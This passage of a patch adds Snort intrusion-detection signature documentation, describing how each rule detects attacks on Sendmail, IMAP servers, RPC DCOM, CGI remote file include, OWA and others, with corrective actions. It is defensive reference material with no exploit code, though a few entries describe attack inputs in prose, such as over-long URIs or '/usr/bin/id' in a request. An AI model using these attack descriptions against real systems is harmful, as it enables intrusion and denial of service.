+http://www.cert.org/advisories/CA-2002-10.html
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/119-15.txt
+++ snort-2.8.5.2/doc/signatures/119-15.txt
@@ -0,0 +1,79 @@
+Rule: 
+
+--
+Sid: 
+119-15
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. This may indicate an attempt to evade an IDS.
+
+--
+Detailed Information:
+This event is generated when the http_inspect pre-processor detects a
+request for a URL that is longer than a specified length. This may
+indicate an attack or an attempt to evade an IDS.
+
+Lotus Domino Server Web servers are reported prone to a Denial of
+Service condition when a long request is made to the server using
+unicode characters. The http_inspect pre-processor will generate this
+event should a Domino server be attacked in this way.
+
+Specifically, when a request is made to /cgi-bin/ with approximately 330
+unicode characters appended to the URL, the webserver will crash and a
+DoS condition will be evident.
+
+The maximum expected length of the URL is user configured.
+
+--
+Affected Systems:
+	All web servers
+	Lotus Domino 6.5.1 and 6.0.3
+
+--
+Attack Scenarios: 
+An attacker may supply an over-long URI in an attempt to evade an IDS or
+in a possible attack against a web server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+iDefense:
+http://www.idefense.com/application/poi/display?id=224&type=vulnerabilities
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2260.txt
+++ snort-2.8.5.2/doc/signatures/2260.txt
@@ -0,0 +1,57 @@
+Rule:  
+
+--
+Sid:
+2260
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in versions of Sendmail.
+
+--
+Impact:
+Remote arbitrary code execution.
+
+--
+Detailed Information:
+A vulnerability exists in the prescan() function used in Sendmail prior
+to version 8.12.9. This function contains an error when converting a
+character to an integer value while processing SMTP headers.
+
+--
+Affected Systems:
+All systems using Sendmail.
+
+--
+Attack Scenarios:
+An attacker could exploit this condition to process code of their
+choosing and open a listening shell bound to a high port, thus opening the
+system to further compromise.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade Sendmail to the latest non-affected verison.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000734.txt
+++ snort-2.8.5.2/doc/signatures/100000734.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000734
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Geeklog" application running on a webserver. Access to the file "MassDelete.Admin.class.php" using a remote file being passed as the "$_CONF[path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "$_CONF[path]" parameter in the "MassDelete.Admin.class.php" script used by the "Geeklog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Geeklog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2009.txt
+++ snort-2.8.5.2/doc/signatures/2009.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+2009
+
+--
+Summary:
+CVS is the Concurrent Versions System, commonly used to 
+help manage software development.
+
+--
+Impact:
+This may be an intelligence gathering activity or an attempt to connect 
+to a CVS repository containing code not publicly available.
+
+--
+Detailed Information:
+This rule detects attempts to connect to a CVS repository that fail due 
+indicate determined activity by an attacker to gain unauthorized access 
+to the CVS respository.
+
+The source code of software in the repository may be compromised by a 
+succesful attacker who could gain access to source code not intended for
+public viewing.
+
+For CVS daemons running under changed root conditions (chroot), the rest
+of the operating system files may be protected.
+
+--
+Affected Systems:
+	All versions of CVS
+	
+--
+Attack Scenarios:
+This may be an intelligence gathering activity or an attempt to log in 
+to a CVS repository that is not intended to be publicly available.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+It is possible that an authorized user may mis-type the repository name.
+
+--
+False Negatives:
+Connections to the server using zlib compression will not generate this
+event.
+
+--
+Corrective Action:
+Disable the CVS daemon in the file /etc/inetd.conf. Run the CVS daemon 
+as a user other than root that does not have a valid login to the 
+machine.
+
+Disable anonymous access to the cvs server where appropriate.
+
+Maintain checks on the password database and the CVS repository logs.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVS:
+http://www.cvshome.org/docs/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1322.txt
+++ snort-2.8.5.2/doc/signatures/1322.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid: 1322
+
+--
+Summary:
+This event is generated when packets on the network have both the 
+fragment and don't fragment bits set.
+
+--
+Impact:
+Possible reconnaisance.
+
+--
+Detailed Information:
+This rule detects a case where the packet is designated as having more 
+fragments whilst at the same time the "don't fragment" bit is also set.
+
+Under normal circumstances an ICMP error message (type 3 code 5) should 
+be generated and sent back to the source of the packet.
+
+The attacker may be trying to ascertain information about the network 
+architecture and configuration of network devices as a prelude to an 
+attack.
+
+an indicator of unauthorized network use, reconnaisance activity or 
+system compromise. These rules may also generate an event due to 
+improperly configured network devices.
+
+--
+Affected Systems:
+	All
+
+--
+Attack Scenarios:
+The attacker would need to craft packets with the fragment and don't 
+fragment bits set.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Employ a packet filtering firewall to deny outbound ICMP error messages.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/387.txt
+++ snort-2.8.5.2/doc/signatures/387.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+387
+
+--
+Summary:
+This event is generated when an internal server replies to an external request for network subnet mask information, which may allow an attacker to learn information about the network for use in later attacks. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+If an attacker sends an ICMP request to an internal server for address mask information (SID 389 should trigger when this activity is seen), an internal server may reply with subnet mask information.  This can provide an attacker with information about subnet mask configuration that can be useful for future attacks.
+
+--
+Affected Systems:
+Any system that responds to ICMP address mask requests.
+
+--
+Attack Scenarios:
+An attacker can send an ICMP request for subnet mask information to the internal network. The server replies, providing the attacker with information about network subnet configuration.
+
+--
+Ease of Attack:
+Simple. Tools that use this method of information gathering are freely available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Use a packet filtering firewall that restricts ICMP type 17 (address mask requests) from entering the protected network, and restricts ICMP type 18 packets (address mask replies) from exiting the protected network.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski <matt.watchinski@sourcefire.com>
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0524
+
+ArachNIDS
+http://www.whitehats.com/cgi/arachNIDS/Show?_id=ids216
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3074.txt
+++ snort-2.8.5.2/doc/signatures/3074.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+3074
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the several commands of an IMAP service. This
+event is concerned with data supplied as a parameter to the
+"subscribe" command.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow
+and the subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+This event is generated when excess data is detected in an IMAP command.
+Some IMAP implementations exhibit programming errors that can lead to a
+buffer overflow condition when excess data is supplied to a static
+buffer.
+
+A vulnerability exists in the way that the Mercury Mail IMAP service
+handles several commands.  An excessively long command argument can
+trigger a denial of service or a buffer overflow and the subsequent
+execution of arbitrary code on a vulnerable server.
+
+--
+Affected Systems:
+	Pegasus Mail Mercury Mail Transport System 3.32
+	Pegasus Mail Mercury Mail Transport System 4.01a
+
+--
+Attack Scenarios:
+An attacker can supplied an overly long command, causing denial of
+service or a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell<bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1333.txt
+++ snort-2.8.5.2/doc/signatures/1333.txt
@@ -0,0 +1,80 @@
+Rule:
+
+--
+Sid:
+1333
+
+--
+Summary:
+Attempted id command access via web
+
+--
+Impact:
+Attempt to gain information on users and groups that exist on the host
+using the id command.
+
+--
+Detailed Information:
+This is an attempt to gain intelligence about the users on a webserver.
+id is a UNIX command that will return information about the system's
+users and groups. This information is valuable to an attacker who can
+use it to plan further attacks based on the users possible login
+information or be more effective in targeting specific users and groups
+who possess elevated privileges . The id command will return information
+on the user, the groups the user belings to and the users' "gid" and "uid".
+
+The rule looks for the "id" command in the client to web server network
+traffic and does not indicate whether the command was actually
+successful in showing the user information. The presence of the "id"
+command web traffic indicates that an attacker attempted to trick the
+web server into executing system in non-interactive mode i.e. without a
+valid shell session. 
+
+Alternatively this rule may trigger in an unencrypted HTTP tunneling
+connection to the server or a shell connection via another exploit
+against the web server.
+
+--
+Attack Scenarios:
+1. The attacker can make a standard HTTP request that contains
+'/usr/bin/id' in the URI which can then return sensitive information on
+groups and users present on the host. 
+
+2. This command may also be requested on a command line should the
+attacker gain access to the machine.
+
+3. An attacker uses a "id" command via a web server connection to test
+what username the web server runs under. He then looks for all the files
+writable by this user and find a web server configuration file with
+wrong permissions.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. 
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Additional information from Anton Chuvakin <http://www.chuvakin.org>
+
+-- 
+Additional References:
+sid: 1332
+
+man id
+
+--
--- snort-2.8.5.2.orig/doc/signatures/352.txt
+++ snort-2.8.5.2/doc/signatures/352.txt
@@ -0,0 +1,64 @@
+SID:
+352
+--
+
+Rule:
+--
+
+Summary:
+This event is generated when an attack attempt is made against an ftp 
+server possibly running a vulnerable ftpd
+--
+
+Impact:
+Possible execution of commands on the affected server as with elevated 
+user privileges
+--
+
+Detailed Information:
+The Washington University ftp daemon (wu-ftpd) has a problem with very 
+log directory names. There is insufficent checking on directories 
+created by users allowing possible insertion of data into the stack.This
+can lead to execution of code with root / elevated user privileges.
+--
+
+Affected Systems:
+	NcFTP Software NcFTPD 2.3.5
+	Washington University wu-ftpd 2.4.2 (beta 18) VR10 RedHat wu-ftpd 2.4.2 b18-2 
+	Washington University wu-ftpd 2.4.2 academ[BETA-18]
+	Probably others as well, suspect anything under 
+	Washington University wu-ftpd 2.6.0 for this particular exploit.
+--
+
+Attack Scenarios:
+A local attacker will attempt to create long named directories on the 
+ftp server wich are not checked correctly in the server code. This can 
+allow commands to be executed with elevated user privileges
+--
+
+Ease of Attack:
+simple, Exploit code exists
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Upgrade to newest version of wuftpd, or replace with something more secure.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000331.txt
+++ snort-2.8.5.2/doc/signatures/100000331.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000331
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "ZixForum" application running on a webserver. Access to the file "settings.asp" using a remote file being passed as the "layid" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "layid" parameter in the "settings.asp" script used by the "ZixForum" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using ZixForum
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1873.txt
+++ snort-2.8.5.2/doc/signatures/1873.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1873
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3116.txt
+++ snort-2.8.5.2/doc/signatures/3116.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3116
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1283.txt
+++ snort-2.8.5.2/doc/signatures/1283.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+1283
+
+--
+Summary:
+This event is generated when an attempt is made to cause a denial of service of WWW Publishing Service and IIS Administration software.
+
+--
+Impact:
+Denial of service.  This attack may cause a vulnerable server to stop.
+
+--
+Detailed Information:
+Outlook Web Access (OWA) is an optional feature of Microsoft Exchange Server that allows a user to access mail through a web interface supported by Internet Information Services (IIS).  A denial of service of the support software WWW Publishing service and IIS Administration can occur when a user enters a long string of '%' characters in the Log On field in OWA and enters these characcters in the username and password field received in the NT challenge dialog.
+
+--
+Affected Systems:
+Microsoft Exchange Server 5.5 and Microsoft Exchange Server 5.5 SP1, SP2, SP3, SP4
+
+--
+Attack Scenarios:
+An attacker can enter a long string of '%' characters in OWA Log On and challenge fields to cause a denial of service against a vulnerable server.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the most current version of Microsoft Exchange Server.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/3223
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2193.txt
+++ snort-2.8.5.2/doc/signatures/2193.txt
@@ -0,0 +1,87 @@
+Rule:
+
+--
+Sid:
+2193
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+This vulnerability is also exploited by the Billy/Blaster worm. The worm
+also uses the Trivial File Transfer Protocol (TFTP) to propagate. A 
+number of events generated by this rule may indicate worm activity.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists. This is also exploited by a worm.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+Block access to port 69 used by the worm to propogate.
+
+Block access to port 4444 used by the worm.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/MS03-026.asp
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0352
+
+Symantec:
+http://securityresponse.symantec.com/avcenter/venc/data/w32.blaster.worm.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2664.txt
+++ snort-2.8.5.2/doc/signatures/2664.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2664
+
+--
+Summary:
+This event is generated when a remote attacker attempts to exploit a 
+format string vulnerability against an IMAP server.
+
+--
+Impact:
+Serious. A successful format string attack could result in the
+execution of arbitrary code with the same privileges as the user running
+the IMAP daemon.
+
+--
+Detailed Information:
+Some versions of the Courier IMAP daemon are vulnerable to format string
+exploits prior to and during authentication to the IMAP server.  A
+successful exploit attempt could result in the remote attacker gaining
+unauthorized root access to a vulnerable system.
+
+--
+Affected Systems:
+	Courier IMAP server versions 1.6 though 3.0.2
+
+--
+Attack Scenarios:
+A remote attacker could use a publicly available script to exploit the 
+vulnerability an gain control of the target host.
+
+--
+
+Ease of Attack:
+Simple. Exploit code is available.
+
+--
+False Positives:
+This rule may generate an event if the password for a valid user contains 
+the character "%".
+
+--
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/868.txt
+++ snort-2.8.5.2/doc/signatures/868.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+868
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/601.txt
+++ snort-2.8.5.2/doc/signatures/601.txt
@@ -0,0 +1,54 @@
+Rule: 
+
+--
+Sid:
+601
+
+--
+Summary: 
+This event is generated when an attempt is made to exploit a
+machine using Network Information Services (NIS).
+
+--
+Impact: 
+Unknown. This is traffic that should not be seen when using NIS and
+remote login services.
+
+--
+Detailed Information: 
+This event is generated when spurious data is sent to the rlogin service
+running on a machine that is using NIS.
+
+--
+Attack Scenarios: 
+An attacker needs to generate this traffic and send it directly to a
+machine. This is not normal network behavior.
+
+--
+Ease of Attack: 
+Simple, no exploit software required
+
+--
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None known.
+
+--
+Corrective Action: 
+Investigate logs on the target host for further details and more signs of suspicious activity
+
+Use ssh for remote access instead of rlogin.
+
+--
+Contributors: 
+Original rule by Max Vision <vision@whitehats.com> modified from a signature written by Ron Gula
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2106.txt
+++ snort-2.8.5.2/doc/signatures/2106.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+2106
+
+--
+Summary:
+This event is generated when a remote user sends an IMAP LSUB command
+with invalid data to port 143 on an internal server. This may indicate
+an attempt to exploit a buffer overflow vulnerability in the IMAP LSUB
+command. This vulnerability may affect other IMAP implementations.
+
+--
+Impact:
+Possible shell access on the IMAP server, leading to arbitrary code
+execution. The attacker must have a valid IMAP account on the mail
+server to attempt this exploit.
+
+--
+Detailed Information:
+When a large amount of data is sent to a vulnerable IMAP server in the
+LSUB command, a buffer overflow condition may occur. This can allow the
+attacker to access the shell, where arbitrary code can be executed. Note
+that this exploit can only be attempted by a user with a valid IMAP account.
+
+--
+Affected Systems:
+	University of Washington imapd versions 10.234 or 12.264. 
+
+--
+Attack Scenarios:
+An attacker with an IMAP account on the server can send a sufficiently
+long LSUB command to the IMAP server, creating a buffer overflow
+condition. This can then allow the attacker to gain shell access on the
+compromised server, possibly leading to the execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple. Exploits exist, but the user must have a valid IMAP account on
+the server.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate patches for your operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Vulneratility Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/1110
+
+CVE
+http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2000-0284 
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=10374
+
+--
--- snort-2.8.5.2.orig/doc/signatures/305.txt
+++ snort-2.8.5.2/doc/signatures/305.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid: 305
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow condition in ElectroTechnical Laboratories Delegate proxy server.
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity to gain remote access to the victim host with the privileges of the root user.
+
+--
+Detailed Information:
+Numerous buffer overflow conditions exist in ElectroTechnical Laboratories Delegate proxy server. It is possible for a remote attacker to gain a root shell on the victim host.
+
+Affected Systems:
+	ETL Delegate 5.9.x
+	ETL Delegate 6.0.x
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original rule writer unkown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0165
+
+Bugtraq:
+http://www.securityfocus.com/bid/808
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000465.txt
+++ snort-2.8.5.2/doc/signatures/100000465.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000465
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Empris" application running on a webserver. 
+Access to the file "sql_fcnsOLD.php" using a remote file being passed as the 
+"phormationdir" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "phormationdir" parameter in the "sql_fcnsOLD.php" 
+script used by the "Empris" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Empris
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
